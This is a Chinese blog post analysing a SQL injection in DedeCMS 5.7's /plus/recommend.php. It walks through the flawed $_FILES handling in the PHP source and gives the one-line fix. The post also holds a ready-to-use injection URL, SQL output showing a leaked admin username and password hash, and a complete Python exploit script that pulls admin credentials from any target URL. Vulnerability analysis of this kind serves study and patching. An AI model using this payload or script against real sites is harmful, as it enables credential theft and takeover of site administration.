[分析]-DedeCMS全版本通杀SQL注入漏洞

利用]: http://p2j.cn/?p=798
[补丁]: http://www.dedecms.com/pl/#u20140228_5

---------------------------------------------------------------------------------------------------------------------

网络上公布的原始poc格式如下:

http://127.0.0.1/dedecms5.7/plus/recommend.php?&aid=1&_FILES[type][tmp_name]=\%27%20%20or%20mid=@%60\%27%60%20/*!50000union*//*!50000select*/1,2,3,%28select%20%20CONCAT%280x7c,userid,0x7c,pwd%29+from+%60%23@__admin%60%20limit+0,1%29,5,6,7,8,9%23@%60\%27%60+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=111

注入成功,等效于执行下面代码:

[sql]  view plain copy 在CODE上查看代码片 派生到我的代码片
  1. mysql> SELECT s.*,t.* FROM   
  2.     -> `dede_member_stow` AS s LEFT JOIN   
  3.     -> `dede_member_stowtype` AS t ON s.type=t.stowname   
  4.     -> WHERE s.aid='1'   
  5.     -> AND s.type='\\' or mid=@`\\'` /*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from `dede_admin` limit 0,1),5,6,7,8,9#@`\\'` ';  
  6.     -> ;  
  7. +----+-----+-----+-----------------------------+---------+------+----------+-----------+----------+  
  8. | id | mid | aid | title                       | addtime | type | stowname | indexname | indexurl |  
  9. +----+-----+-----+-----------------------------+---------+------+----------+-----------+----------+  
  10. |  1 |   2 |   3 | |admin|f297a57a5a743894a0e4 |       5 | 6    | 7        | 8         | 9        |  
  11. +----+-----+-----+-----------------------------+---------+------+----------+-----------+----------+  
  12. 1 row in set (0.01 sec)  

/*!50000union*/  表示若mysql版本高于5.0.0,则执行union操作.

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

下面分析以引起问题的源码,./include/uploadsafe.inc.php


[php]  view plain copy 在CODE上查看代码片 派生到我的代码片
  1. <?php  
  2.   
  3. if(!defined('DEDEINC')) exit('Request Error!');  
  4. if(isset($_FILES['GLOBALS'])) exit('Request not allow!');  
  5.   
  6.   
  7. //为了防止用户通过注入的可能性改动了数据库  
  8. //这里强制限定的某些文件类型禁止上传  
  9.   
  10. $cfg_not_allowall = "php|pl|cgi|asp|aspx|jsp|php3|shtm|shtml";  
  11. $keyarr = array('name''type''tmp_name''size');  
  12.   
  13. if ($GLOBALS['cfg_html_editor']=='ckeditor' && isset($_FILES['upload']))  
  14. {  
  15.     $_FILES['imgfile'] = $_FILES['upload'];  
  16.     $CKUpload = TRUE;  
  17.     unset($_FILES['upload']);  
  18. }  
  19.   
  20. foreach($_FILES as $_key=>$_value)  
  21. {  
  22.     foreach($keyarr as $k)  
  23.     {  
  24.         if(!isset($_FILES[$_key][$k]))  
  25.         {  
  26.             exit('Request Error!');  
  27.         }  
  28.     }  
  29.   
  30.     if( preg_match('#^(cfg_|GLOBALS)#'$_key) )  
  31.     {  
  32.         exit('Request var not allow for uploadsafe!');  
  33.     }  
  34.   
  35.     // DedeCMS全版本通杀SQL注入   
  36.     $$_key = $_FILES[$_key]['tmp_name'] = str_replace("\\\\", "\\", $_FILES[$_key]['tmp_name']);  
  37.     // ----- 修复后, 如下: -----  
  38.     // $$_key = $_FILES[$_key]['tmp_name'];  
  39.     ${$_key.'_name'} = $_FILES[$_key]['name'];  
  40.     ${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z\./]#i'''$_FILES[$_key]['type']);  
  41.     ${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']);  
  42.     if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) )  
  43.     {  
  44.         if(!defined('DEDEADMIN'))  
  45.         {  
  46.             exit('Not Admin Upload filetype not allow !');  
  47.         }  
  48.     }  
  49.   
  50.     if(empty(${$_key.'_size'}))  
  51.     {  
  52.         ${$_key.'_size'} = @filesize($$_key);  
  53.     }  
  54.   
  55.   
  56.     $imtypes = array  
  57.     (  
  58.         "image/pjpeg""image/jpeg""image/gif""image/png",   
  59.         "image/xpng""image/wbmp""image/bmp"  
  60.     );  
  61.   
  62.   
  63.     if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes))  
  64.     {  
  65.         $image_dd = @getimagesize($$_key);  
  66.         if (!is_array($image_dd))  
  67.         {  
  68.             exit('Upload filetype not allow !');  
  69.         }  
  70.     }  
  71. }  
  72.   
  73. ?>  

$$_key = $_FILES[$_key]['tmp_name'] = str_replace("\\\\", "\\", $_FILES[$_key]['tmp_name']); 配合./include/common.inc.php引发问题, 

[php]  view plain copy 在CODE上查看代码片 派生到我的代码片
  1. //转换上传的文件相关的变量及安全处理、并引用前台通用的上传函数  
  2. if($_FILES)  
  3. {  
  4.     require_once(DEDEINC.'/uploadsafe.inc.php');  
  5. }  
common.inc.php 定义函数_RunMagicQuotes ,foreach(Array('_GET','_POST','_COOKIE') as $_request) 处_RunMagicQuotes被调用,如下所示

[php]  view plain copy 在CODE上查看代码片 派生到我的代码片
  1. function _RunMagicQuotes(&$svar)  
  2. {  
  3.     if(!get_magic_quotes_gpc())  
  4.     {  
  5.         ifis_array($svar) )  
  6.         {  
  7.             foreach($svar as $_k => $_v$svar[$_k] = _RunMagicQuotes($_v);  
  8.         }  
  9.         else  
  10.         {  
  11.             ifstrlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$svar) )  
  12.             {  
  13.               exit('Request var not allow!');  
  14.             }  
  15.             $svar = addslashes($svar);  
  16.         }  
  17.     }  
  18.     return $svar;  
  19. }  
  20.   
  21.   
  22. if (!defined('DEDEREQUEST'))   
  23. {  
  24.     //检查和注册外部提交的变量   (2011.8.10 修改登录时相关过滤)  
  25.     function CheckRequest(&$val) {  
  26.         if (is_array($val)) {  
  27.             foreach ($val as $_k=>$_v) {  
  28.                 if($_k == 'nvarname'continue;  
  29.                 CheckRequest($_k);   
  30.                 CheckRequest($val[$_k]);  
  31.             }  
  32.         } else  
  33.         {  
  34.             ifstrlen($val)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$val)  )  
  35.             {  
  36.                 exit('Request var not allow!');  
  37.             }  
  38.         }  
  39.     }  
  40.       
  41.   
  42.     //var_dump($_REQUEST);exit;  
  43.     CheckRequest($_REQUEST);  
  44.     CheckRequest($_COOKIE);  
  45.   
  46.   
  47.     foreach(Array('_GET','_POST','_COOKIE'as $_request)  
  48.     {  
  49.         foreach($$_request as $_k => $_v)   
  50.         {  
  51.             if($_k == 'nvarname') ${$_k} = $_v;  
  52.             else ${$_k} = _RunMagicQuotes($_v);  
  53.         }  
  54.     }  
  55. }  

$_GET, $_POST,$_COOKIE 传入的数据会被 _RunMagicQuotes 检查,_RunMagicQuotes 检查时, 未处理$_FILES,传入带引号的数据 ,引发注入问题.

[php]  view plain copy 在CODE上查看代码片 派生到我的代码片
  1. $$_key = $_FILES[$_key]['tmp_name'] = str_replace("\\\\", "\\", $_FILES[$_key]['tmp_name']);  
  2. // ----- 修复后, 如下: -----  
  3. // $$_key = $_FILES[$_key]['tmp_name'];  
  4. ${$_key.'_name'} = $_FILES[$_key]['name'];  
  5. ${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z\./]#i'''$_FILES[$_key]['type']);  
  6. ${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']);  

需要传入的参数有_FILES[type]['tmpname'], _FILES[type]['name'], _FILES[type]['type'], _FILES[type]['size'], 构造完成后,如上所示.



+++++++++++++++++++++++++++++++++++++++++++++++++++++

python - POC 利用程序如下:

[python]  view plain copy 在CODE上查看代码片 派生到我的代码片
  1. #!/usr/bin/env python  
  2.   
  3. import urllib2  
  4. import re  
  5. import sys  
  6.   
  7. def banner():  
  8.   
  9.     print >>sys.stderr,'\n++++++++++++++++++++++++++++++++++++++++++++++++++++++'  
  10.     print >>sys.stderr,'[POC]  : DedeCMS 5.7 /plus/recommend.php SQL Injection'  
  11.     print >>sys.stderr,'[URL]  : http://sebug.net/vuldb/ssvid-61660'  
  12.     print >>sys.stderr,'[patch]: http://www.dedecms.com/pl/#u20140228_5'  
  13.     print >>sys.stderr,'[Usage]: %s http://path/to/dederoot/' % sys.argv[0]  
  14.     print >>sys.stderr,'++++++++++++++++++++++++++++++++++++++++++++++++++++++'  
  15.   
  16. def sqli_exp(url):  
  17.   
  18.         poc = [  
  19.     "/plus/recommend.php?",  
  20.     "&aid=1",  
  21.     "&_FILES[type][tmp_name]=",  
  22.     "\%27%20%20or%20mid=@%60\%27%60%20",  
  23.     "/*!50000union*//*!50000select*/1,2,3,%28select%20%20CONCAT%280x7c,userid,0x7c,pwd,0x7c%29+from+%60%23@__admin%60%20limit+0,1",  
  24.     "%29,5,6,7,8,9%23@%60\%27%60+",  
  25.     "&_FILES[type][name]=1.jpg",  
  26.     "&_FILES[type][type]=application/octet-stream",  
  27.     "&_FILES[type][size]=111"  
  28.     ]  
  29.     url += "".join(poc)  
  30.     req = urllib2.urlopen(url,data=None, timeout=7)  
  31.     response = req.read()  
  32.     matches = re.search(r'<h2>\xe6\x8e\xa8\xe8\x8d\x90\xef\xbc\x9a|(.*)</h2>', response, re.M|re.I)      
  33.     if ("SRE_Match" in str(type(matches))):  
  34.         data = matches.group().split('|')  
  35.         user = data[1]  
  36.         pwd  = data[2]  
  37.         print "user: %s \npass: %s \n" % (user, pwd)  
  38.   
  39. if __name__ == '__main__':  
  40.   
  41.     banner()  
  42.   
  43.     if len(sys.argv) == 2:  
  44.         print >>sys.stderr,"[+] exploit - %s" % sys.argv[1]   
  45.         sqli_exp(sys.argv[1])  
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值